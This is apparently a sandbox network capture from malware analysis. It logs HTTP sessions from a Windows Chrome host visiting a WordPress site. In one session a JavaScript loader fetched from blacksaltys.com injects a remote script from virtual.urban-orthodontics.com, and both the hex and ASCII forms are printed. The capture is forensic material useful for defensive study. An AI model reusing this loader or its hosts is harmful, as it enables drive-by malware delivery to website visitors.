2024-10-07 12:10:30 UTC	8000	IN	Data Raw: 25 a9 7e dd 3f 31 8e da c2 09 1f b2 a4 8c ff 00 c8 0a f0 2b cf 0f 68 70 64 cf 24 f7 8d ff 00 4d 64 27 f9 55 35 5b 48 d4 a5 9e 9e 90 29 fe 21 f2 fe bd 6a ff 00 b3 e9 ad 2c 65 f5 b9 b3 d9 b5 2f db 3b c6 17 31 9f b2 59 db da a7 f7 8c 41 54 7d 59 ce 2b 86 d7 3f 6c 2f 15 cb b9 06 bf 2c b2 f4 31 e9 ca 18 2f fc 09 56 b8 d1 a7 59 cc db e6 b4 86 66 ff 00 a6 a0 bf f3 ad 28 a6 8a dd 71 1c 71 44 07 41 1c 60 56 b1 c1 c1 74 33 78 99 be a6 4e a5 f1 ff 00 c7 7a e3 1d 8d ac 5c 82 71 96 77 c7 f3 ac 49 bc 45 e3 fd 5b e6 fb 0c eb bb f8 a6 70 3f 9d 76 0d a9 32 ff 00 19 1f 8d 42 da 89 63 dd bd eb 75 86 8c 4c dd 76 71 c7 47 f1 d5 f6 7c cb 88 6d 87 7d d3 73 fa 52 7f c2 bd f1 05 c7 37 3a e4 31 e7 fb b9 63 fa d7 58 6f 24 63 c2 e6 99 e7 5c 49 fc 26 b5 54 23 d8 87 55 d8 e6 53 e1 6e Data Ascii: %~?1+hpd$Md'U5[H)!j,e/;1YAT}Y+?l/,1/VYf(qqDA`Vt3xNz\qwIE[p?v2BcuLvqG\|m}sR7:1cXo$c\I&T#USn
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: d7 ca 9a 1f 8a 11 95 76 e4 f1 dc 9a ee f4 7d 7a 46 c7 cc a0 7e 75 eb 46 84 24 b4 56 39 65 27 b3 3e a6 d3 7c 44 24 51 89 41 ff 00 81 56 e5 be b0 18 0f 9b f5 af 9c f4 8f 10 5c 2e dd b2 57 65 a6 f8 aa e5 14 74 6f ad 6b f5 79 2f 85 98 36 99 d8 7c 67 d5 17 fe 15 96 b3 96 c0 c4 7f fa 31 6b e6 7f 84 fa f3 27 ed 23 f0 8a d8 b6 04 9a 6e b3 19 1f 43 c7 f2 af 50 f8 a5 e2 6b 9b cf 01 ea 30 ba 20 56 f2 cf 7e ce b5 f3 1d 97 8c 20 f0 77 ed 05 f0 ab 54 ba 62 b0 c1 a7 6b 40 95 ea 09 2c 07 eb 8a e2 e5 9c 31 a9 3d dc 1f fe 95 13 d4 a5 15 2c 13 7f df ff 00 db 24 75 7f b5 d7 c6 59 fc 6f e3 29 74 0b 29 d8 68 7a 53 98 f6 29 f9 66 98 70 ce 7d 71 d0 7e 3e b5 f3 ac b3 2a 72 c4 0f a9 ae 2b c6 9f 15 24 b8 d6 2e 61 d3 f1 34 ec ec d2 ce dc 8c 93 93 8f 53 58 9a d5 b5 f6 bb 62 92 c7 79 Data Ascii: v}zF~uF$V9e'>\|D$QAV\.Wetoky/6\|g1k'#nCPk0 V~ wTbk@,1=,$uYo)t)hzS)fp}q~>*r+$.a4SXby
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: 08 50 a2 bb b9 59 c2 a4 96 87 2f e2 4d 0c 2a 3e d4 15 e6 57 d6 e6 ce e0 fd 6b dd 35 98 56 6b 72 c3 9c 8a f2 7f 14 d8 95 90 b0 5a 23 a1 49 ea 4b e1 7b 9f 32 60 0d 7a df 87 d7 72 a1 cd 78 a7 84 e5 c5 c7 3c 1c f3 5e d1 e1 99 81 55 e6 89 54 51 2d d3 72 3b 7b 5b 71 e5 ae 46 73 53 7d 9c 7a 62 92 de 65 f2 57 e6 ed 52 34 cb 8e b9 ac 5e 20 8f ab b1 9e 48 1c 50 60 1f 8d 06 e1 3b b5 35 af 23 fe f5 2f ac 0f ea ef a8 ef 24 63 38 a6 f9 20 73 4c 6b e8 bf bd 51 b6 a1 10 fe 21 53 f5 81 fd 5c 99 a2 1f 4a 46 8c 01 55 9b 52 8b b9 cf e3 50 be ad 12 f5 6a 3e b0 35 87 65 e2 8a 7a d3 76 8a cb 7d 7e 04 52 0b af 4a a3 37 8a 60 8c 7d e1 4b db b1 fd 5c e8 32 17 da 98 d7 49 1e 7a e3 f3 ae 36 eb c6 c8 b9 00 8a ce 9b c7 3c 1c 1a 5e d2 6f 64 52 a3 15 d4 ef 4e a3 1a f6 6a 67 f6 90 73 80 Data Ascii: PY/M*>Wk5VkrZ#IK{2`zrx<^UTQ-r;{[qFsS}zbeWR4^ HP`;5#/$c8 sLkQ!S\JFURPj>5ezv}~RJ7`}K\2Iz6<^odRNjgs
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: a9 d6 68 59 b8 18 a9 66 ba b4 5c 85 84 fb f3 59 d3 6a 11 c7 90 91 10 71 c7 3c d6 9c a6 65 f8 5a 3d c0 a8 e3 e8 7f 3a b7 1d d0 8f a0 18 1e d5 cd 3e ac d9 ca 2b 0c ff 00 b5 55 db 52 b8 90 e4 9c 7d 0f 14 72 f7 0d 4e cf fb 50 01 81 8a 51 7d bb 3f c5 cf 18 35 c6 0b ab 8e 7e 7c 9a b7 0d c4 bc 65 c8 cd 1c 80 74 ad 79 c6 7f 02 0d 27 db ca f2 c4 56 27 1b 72 67 c9 fa d4 d1 c8 99 c7 9d 93 9c d3 51 41 b1 7e 6b ec ff 00 4c 74 aa 12 de 11 9f 98 e3 b1 a9 8b c4 40 cb 36 7b e2 aa cf 24 5b 48 f9 8f a6 29 35 d8 9b 94 a7 bb cf 01 98 ff 00 2a a1 35 d1 2b 85 e6 ad 5c 14 e7 07 ea 2a 9b 30 c7 1d 3e b5 9b bf 42 59 52 5b 87 5c e4 10 05 67 cb 74 dd 72 4d 68 5d e7 69 f9 6b 16 6c ee 27 77 06 b9 dd d9 3b 83 4c 59 8f 24 8f 6e b5 7e ce e8 a1 1d 4f d0 56 52 a7 4f bd 56 a1 ce e1 92 47 61 Data Ascii: hYf\Yjq<eZ=:>+UR}rNPQ}?5~\|ety'V'rgQA~kLt@6{$[H)55+\0>BYR[\gtrMh]ikl'w;LY$n~OVROVGa
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: 19 a3 b1 b8 92 10 03 17 58 58 ae 0f 43 9c 74 ae 9b c2 3f 14 65 f0 4e 9f 71 62 9a 2e 9b a8 96 9d a5 13 5e 45 b9 d7 23 1b 47 b6 46 6b 7b fe 1a 2b 58 85 76 41 a5 58 41 0e e2 44 69 b8 2e df ee e3 d3 af e7 5d 3e ca 8b 77 94 ed f2 38 be b1 8a 8c 57 b3 a5 7d b5 e6 3c a6 ea de 48 d9 83 c5 22 32 fd ed ca 78 fa fa 56 ff 00 8e f2 35 3b 3c 9c 8f b0 c0 07 fd f3 5d 5d cf c7 2d 56 f2 c6 ea d7 fb 33 4e 8d 2e 15 c3 9d 8c c7 e6 ce 79 27 de b9 2f 1c e1 75 0b 10 3f e7 c6 1f e4 69 4a 30 8c 7d c9 5f e4 38 54 ad 3a d1 f6 b0 e5 df ad fa 19 b1 b6 3c 39 3f 6c 4c 0d 66 05 f3 1b 03 82 4d 5e 8e 4f f8 91 5d 20 3f f2 d0 13 54 e2 ba 8e 15 62 54 39 61 80 73 d2 a6 28 7c de f4 af dc d7 d3 ec 95 2d dd a4 64 8f 77 f1 96 c1 fa 01 5d 1f c3 4d 46 78 fc 51 69 0c 5b 9a d4 4f f3 3e 73 d7 a6 7e b5 Data Ascii: XXCt?eNqb.^E#GFk{+XvAXADi.]>w8W}<H"2xV5;<]]-V3N.y'/u?iJ0}_8T:<9?lLfM^O] ?TbT9as(\|-dw]MFxQi[O>s~
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: 9c 95 75 23 b1 53 5c 9e ad 6e ad 99 01 e3 eb 5e 4e 32 8a f8 a2 7b 18 3a fc be eb 3d 3f c0 9e 30 49 d1 60 92 45 df f5 eb 5e 84 bf 66 bc 8f 6c 91 ac 8a de a3 35 f3 06 93 a8 45 63 74 a4 36 1b 3f 78 36 2b da 3c 1f e2 31 79 6e a8 58 ef 5e bc d4 e1 71 0e 5e ec cb c5 51 8f c5 13 6b 56 f0 16 95 71 27 98 6c 20 90 75 fb 82 a2 b5 f0 9e 9b 6e bf bb b6 8e 33 e9 b4 57 4d 67 75 e6 c6 03 e3 6f 7a 8e e8 d9 da c9 bd d8 ec 26 bb dd 18 5e e9 1e 5a ab 34 ac ce 66 f3 47 5b 65 fd da a8 5f a0 ae 3b 5e 9a e6 df 76 d8 e1 72 39 1e 64 2a 6b d5 5a e3 40 68 f7 4d 76 23 5c 77 7a cc ba 9b c2 1b 72 f7 6b 27 fd b4 14 9c 55 ad 70 e6 7b 9e 20 de 34 bb b4 3b 5e c7 4f 2d 9c 7c d6 8a 6a c4 7e 35 b8 9b ee d8 69 2c 7a 7f c7 a8 ae e7 5c 87 c0 b3 6e 66 31 92 3a fc e2 b8 ad 4a ff 00 c1 96 2e de 44 Data Ascii: u#S\n^N2{:=?0I`E^fl5Ect6?x6+<1ynX^q^QkVq'l un3WMguoz&^Z4fG[e_;^vr9d*kZ@hMv#\wzrk'Up{ 4;^O-\|j~5i,z\nf1:J.D
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: a6 23 fe 0a a9 04 7f eb 7c 1f 75 ef b5 97 fc 69 1b fe 0a c3 a6 47 f7 bc 21 7d f9 8a fc d2 5d 7a 3c 93 e4 a9 f7 24 d3 97 c4 30 a8 f9 a2 4c e3 d4 d5 7d 4e 3f cf 2f bd ff 00 98 7d 65 ff 00 22 fb 91 fa 50 ff 00 f0 56 5d 2c 2e 47 83 ef bf 4a ad 37 fc 15 9e d1 7e ef 82 ef 8f e2 2b f3 7e e3 c5 50 43 09 c4 28 0e 7d 4d 64 ff 00 c2 74 bd 0c 51 63 3d 32 6a be a7 1f e7 7f 7b ff 00 32 7e b4 ef f0 2f b9 1f a4 d3 7f c1 5b 9b 9f 27 c1 17 87 fd e6 5a c8 be ff 00 82 b5 6b 6c 8c 2d bc 15 22 1c 70 5d 87 1f ad 7e 76 ff 00 c2 6d 16 79 8a 20 0d 33 fe 13 b8 d7 90 b1 fe 54 96 0e 9d f5 9b fb df f9 84 b1 52 5b 41 7d cb fc 8f ab bc 71 fb 7d 78 df c7 5a c4 77 f2 3e a5 a6 34 27 31 2d a2 2a 84 fc 8e 4d 57 b5 fd b8 3e 27 e1 7c bf 13 6b e0 7f b4 8a 7f ad 7c b4 3e 20 ed fb ad 1e 3d 80 c5 Data Ascii: #\|uiG!}]z<$0L}N?/}e"PV],.GJ7~+~PC(}MdtQc=2j{2~/['Zkl-"p]~vmy 3TR[A}q}xZw>4'1-*MW>'\|k\|> =
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: a9 96 1f 9b a8 2a ab b1 e6 0d f0 df 4a 39 26 39 07 3c f4 a1 be 1b e9 3b 49 11 c8 31 c6 2b d3 7c bd 3d c8 02 e1 31 f5 a6 ff 00 67 59 c9 8c 5c 2b 7f c0 85 43 c2 cb a3 1f b5 5d 8f 2b 97 e1 76 9f 23 02 b2 32 28 ed b6 ab b7 c2 7b 70 09 86 ed 91 bd 0a 91 5e b2 74 78 1b 25 25 18 fa d3 0e 8a 08 1f 36 7f 3a 9f ab 4f b8 fd b4 4f 22 ff 00 85 65 73 0e 76 de 29 fc 4d 71 9e 2b 8e e3 41 99 62 0c 59 71 8d c6 be 8c 6d 1f 1d 39 ae 13 e2 17 81 5b 53 b4 69 23 50 0e 3a f5 34 7b 2a 8b 71 f3 c5 ec 78 05 cc d2 5c b6 59 bf 0a 87 cb f7 ab 97 d6 b2 69 d7 0f 04 c9 89 14 e2 aa 33 74 ac f5 34 d0 61 eb 4d c7 a1 a7 9c 7e 14 df 7a 06 6b f8 57 4a 9f 5a d6 ad ac 6d 88 0f 33 63 73 72 00 ee 6b d5 a5 f8 32 7a c7 2c 6f f9 8f c6 99 f0 77 c2 6d a3 da be b1 79 11 4b 8b 84 c4 0a c3 94 4f 5f c7 f9 Data Ascii: J9&9<;I1+\|=1gY\+C]+v#2({p^tx%%6:OO"esv)Mq+AbYqm9[Si#P:4{qx\Yi3t4aM~zkWJZm3csrk2z,owmyKO_
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: 8d e0 1b 0e a2 33 51 b7 80 ec fb 47 8c 57 a0 79 f6 ad d5 70 7e 86 8d d6 8d d1 97 27 de 97 3a eb 10 e5 ed 23 cf 3f e1 02 b4 dc 3e 4e 01 a6 ff 00 c2 0f 6c ac 14 2a 0c 77 c5 7a 2a db da b3 70 f8 f5 e4 50 74 f8 4b 0d a4 7e 54 bd a5 3e a8 ae 49 74 67 9b 1f 05 45 c9 da 07 e1 4d ff 00 84 35 17 3f 2f 3f 4a f4 96 d3 54 b7 de 07 f0 a6 7f 65 00 3a 8f ce 8e 7a 56 dc 39 26 79 bf fc 21 e9 d8 0e be 94 df f8 44 d5 58 1d bf 95 7a 37 f6 61 e3 e5 03 1e 86 a3 3a 5b 2b 29 d8 7e 95 57 a7 d1 91 69 f6 3c fb fe 11 95 1c 60 0a 3f e1 1b 51 d5 6b bc 7d 34 f2 36 9f 6e 2a 36 b1 19 e5 78 f7 15 56 87 70 bc 96 8d 1c 37 fc 23 eb e8 29 df d8 63 ae 01 ae cd ac 86 48 23 1f 85 47 25 88 f4 eb df 14 f9 17 42 6e fa 9c 9f f6 4a 77 c6 71 e9 47 f6 5c 63 b0 cf d2 ba 86 b1 1e 9d 3d a9 9f 62 1c e7 39 Data Ascii: 3QGWyp~':#?>NlwzpPtK~T>ItgEM5?/?JTe:zV9&y!DXz7a:[+)~Wi<`?Qk}46n*6xVp7#)cH#G%BnJwqG\c=b9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49864	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:30 UTC	877	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/commercial-transportation/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
2024-10-07 12:10:30 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 12:10:30 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 12:10:30 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49863	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:30 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:30 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 6be05283-001e-00a2-2700-17d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121030Z-1657d5bbd48brl8we3nu8cxwgn00000003t0000000009vsq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:30 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49867	77.232.36.155	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:30 UTC	382	OUT	GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1 Host: blacksaltys.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:30 UTC	299	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 12:10:30 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 226 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 07 Oct 2024 12:10:30 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: *
2024-10-07 12:10:30 UTC	226	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 75 2c 71 2c 79 2c 64 2c 6e 29 7b 64 3d 75 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 71 29 3b 6e 3d 75 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 71 29 5b 30 5d 3b 64 2e 61 73 79 6e 63 3d 31 3b 64 2e 73 72 63 3d 79 3b 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 64 2c 6e 29 3b 7d 29 28 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 53 7a 6c 70 6e 54 41 62 43 76 51 76 47 31 4f 76 66 51 70 46 76 7a 6b 62 55 37 38 78 51 41 58 37 4f 31 73 66 76 7a 59 3d 27 29 Data Ascii: ;(function(u,q,y,d,n){d=u.createElement(q);n=u.getElementsByTagName(q)[0];d.async=1;d.src=y;n.parentNode.insertBefore(d,n);})(document,'script','https://virtual.urban-orthodontics.com/SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY=')

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49875	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:30 UTC	661	OUT	GET /2016/wp-content/uploads/2021/03/typical-cab-structural.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
2024-10-07 12:10:30 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:30 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 03 Mar 2021 20:24:22 GMT Accept-Ranges: bytes Content-Length: 946004 Content-Type: image/png
2024-10-07 12:10:30 UTC	7958	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 da 00 00 03 2c 08 06 00 00 00 82 e7 cf c0 00 00 0c 6c 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 52 49 68 01 04 a4 84 de 04 e9 04 90 12 42 0b 20 bd 08 36 42 12 48 28 31 26 04 15 3b ba a8 e0 da 45 14 2b ba 2a a2 d8 56 40 ec d8 95 45 b1 f7 c5 82 8a b2 2e ea 62 43 e5 4d 48 40 d7 7d e5 7b e7 fb e6 de 3f 67 ce fc a7 dc 99 dc 7b 00 d0 fa c0 93 4a f3 51 6d 00 0a 24 85 b2 c4 88 10 e6 a8 f4 0c 26 a9 03 20 40 03 90 80 0b 20 f3 f8 72 29 3b 3e 3e 06 40 19 b8 ff 5d de dd 80 d6 50 ae 3a 2b b9 fe 39 ff 5f 45 57 20 94 f3 01 40 c6 40 9c 25 90 f3 0b 20 3e 0e 00 be 96 2f 95 15 02 40 54 ea ad 26 15 4a 95 78 16 c4 7a 32 18 20 c4 2b 94 38 47 85 b7 2b 71 96 0a 1f ee b7 49 4e e4 40 Data Ascii: PNGIHDR,liCCPICC ProfileHWXS[RIhB 6BH(1&;E+*V@E.bCMH@}{?g{JQm$& @ r);>>@]P:+9_EW @@% >/@T&Jxz2 +8G+qIN@
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: 05 49 48 f9 15 0d a8 00 a1 e8 99 ce 1c 42 30 3d 78 41 12 52 7e 45 03 2a 40 28 7a a6 33 87 10 4c 0f 5e 90 84 94 5f d1 80 0a 10 8a 9e e9 cc 21 04 d3 83 17 24 21 e5 57 54 d0 5d 97 db 57 47 af c6 57 47 b9 a3 cd 0f 4f a4 a4 0b ba 69 2e 4a b8 92 b6 bc 8c c3 29 56 b3 17 d2 38 ba a5 21 a4 d3 0d ff 58 0a 8f 65 d1 85 08 4e 55 2d 96 c6 e1 34 e2 bf 7a ff 66 d7 d6 6a 28 3b dd 68 7f a3 fd 8d fe 37 1d 64 d6 90 bd f7 10 60 1c 4e 63 fc 19 e3 cf aa 3b 58 37 d6 d6 56 d5 e9 c6 f8 3b c6 df 31 fe ae 31 de 4e 4d de 7b a8 35 0e a7 31 fe 8e f1 77 8c bf d3 7e e2 72 77 af a9 90 4e 37 ee 3f e3 fe 33 ee 3f cb 9d 67 51 eb bd 87 26 e3 70 fa 49 bb ff ec bc e2 03 65 dd 8e cb df 87 85 b6 fa d5 d1 ba a4 65 f1 8a f8 04 d3 ab 19 38 98 d8 e6 0c d1 c3 0c db 4e 6b 1a 1b 6c f8 47 2c ea 2d 30 42 Data Ascii: IHB0=xAR~E*@(z3L^_!$!WT]WGWGOi.J)V8!XeNU-4zfj(;h7d`Nc;X7V;11NM{51w~rwN7?3?gQ&pIee8NklG,-0B
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: ae 62 c5 f2 c6 de 01 b9 c0 80 09 3d 75 76 f0 71 a0 02 80 e5 03 b2 d4 fe fa 15 25 4c 8b 6c d2 c9 89 90 e3 7d 89 c1 53 fa 44 99 33 59 d8 fc ff fa 90 51 33 eb fc 7b f6 bd 4a fe 61 f3 ec 57 3d a5 18 40 69 45 3d 47 9c 3b 45 12 12 2b 6c af aa 92 94 a2 02 07 75 83 cc a2 34 93 e7 1a c2 11 2e ea d4 87 29 27 b0 d0 88 d5 26 fe c7 a3 55 d1 52 99 ce 62 48 b1 19 ab 3e 13 07 ac 84 c9 60 49 92 90 58 e5 d6 ab aa 24 a5 a8 c0 41 dd 20 b3 a8 9b 21 e1 fa b3 09 b0 de 9c 95 e9 d5 44 d6 df da 95 05 84 51 e0 9e 36 1e 1e 13 9f 76 33 a1 a9 1a 35 4c 3e 39 a0 83 79 46 9e 94 7c 5d b3 e1 92 95 3b 85 ce f4 9e 7f a4 05 d3 d6 51 6a fb 0e 23 d2 58 f9 91 47 bd 20 eb 6c 67 17 44 c8 82 b1 16 ba aa b6 60 80 4a 06 cc 96 a9 1c cf 04 5c cc 61 3a 1e b6 ab cc d2 ba ec 67 d8 d9 29 59 28 23 90 2d 90 Data Ascii: b=uvq%Ll}SD3YQ3{JaW=@iE=G;E+lu4.)'&URbH>`IX$A !DQ6v35L>9yF\|];Qj#XG lgD`J\a:g)Y(#-
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: 04 c2 02 1f 9c cc ea fa d7 16 c2 66 c5 f2 42 e4 87 10 1e 7e f2 50 b9 e7 91 fd e5 ef 3e fa 99 f2 67 1f fa ab f2 18 16 da 0e 61 47 9b 7d 61 d5 fa f0 01 fb ad a5 f5 5c 78 63 47 64 a7 66 62 1e f4 c1 dd a9 f8 8f 75 a7 3f db a9 c7 29 f8 e1 03 e5 0d 97 5e 58 7e e5 9d 3f 53 2e bf e4 bc 72 d1 79 af 2a 5b b7 6c 44 9f f6 74 d6 a7 59 92 67 d9 fe 18 27 42 b9 74 c6 57 46 bf ff d8 9e 72 cf 83 4f 96 7f c0 2e db 0f fd c5 df 94 c7 b0 50 7d 04 e5 2e 5c 88 e4 9f 75 1f 5c 03 16 95 db 9b d8 6d eb 38 e4 5d 8f d7 06 f1 3b c4 85 ca 33 ca 3b 7f f6 a7 ca 4f 5d 71 69 b9 14 3b 47 4f c6 2e b7 0d dc 82 c7 1a 01 bc 1f d7 76 2f 56 db fe f4 43 7f 5b fe 9f 3f f9 50 79 e2 89 a7 cb de 7d fb f1 3a f7 55 58 f8 7e 23 16 78 2e 2e 17 63 a1 d3 7f 53 92 25 a4 53 fe 59 0e 76 76 09 6c ad 3f 6d 26 3c Data Ascii: fB~P>gaG}a\xcGdfbu?)^X~?S.ry*[lDtYg'BtWFrO.P}.\u\m8];3;O]qi;GO.v/VC[?Py}:UX~#x..cS%SYvvl?m&<
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: f7 ab 1e ea 08 b6 d8 ad 91 83 f8 5d c1 41 fc 86 58 fa 5d cf c3 c4 d8 3e 71 d7 30 ef 64 f9 49 f9 27 f5 cf 07 54 38 72 ea 07 62 72 fc 25 48 20 2e a0 bf bd f9 c7 83 21 a4 c3 68 bb a0 60 08 91 49 2d da 80 b0 fe e1 3e 7a 2d 3c ae bf 56 7f 14 5e 0b f7 7e a5 c1 e5 48 42 b2 fc f8 a4 1a ca 4c fb 50 42 e1 3e 7a 2d 3c ae bf 56 7f 14 5e 0b f7 7e a5 c1 e5 48 42 52 fe 49 f9 c7 be d4 42 9d d1 3e d4 90 70 1f bd 16 1e d7 5f ab 3f 0a af 85 7b bf d2 e0 72 24 e1 bf b1 fe 49 0a be 20 42 fe fa 2d 2c 20 47 a0 57 b8 a9 5b 74 2e 96 db 19 16 90 eb 00 da 36 00 0e ac 5d b7 05 20 ea ac 03 23 62 54 c8 57 d3 03 53 c6 d8 2f 7e fe 94 f5 eb d5 c1 da b5 0a 00 2c fd 70 f7 37 f0 e4 a1 bc b4 58 3b 75 f6 22 40 c3 29 9b 33 77 91 2d 5f bb 85 05 71 00 be 68 c1 98 0e 3b a8 7f 6e 3f 1b 37 72 10 0c Data Ascii: ]AX]>q0dI'T8rbr%H .!h`I->z-<V^~HBLPB>z-<V^~HBRIB>p_?{r$I B-, GW[t.6] #bTWS/~,p7X;u"@)3w-_qh;n?7r
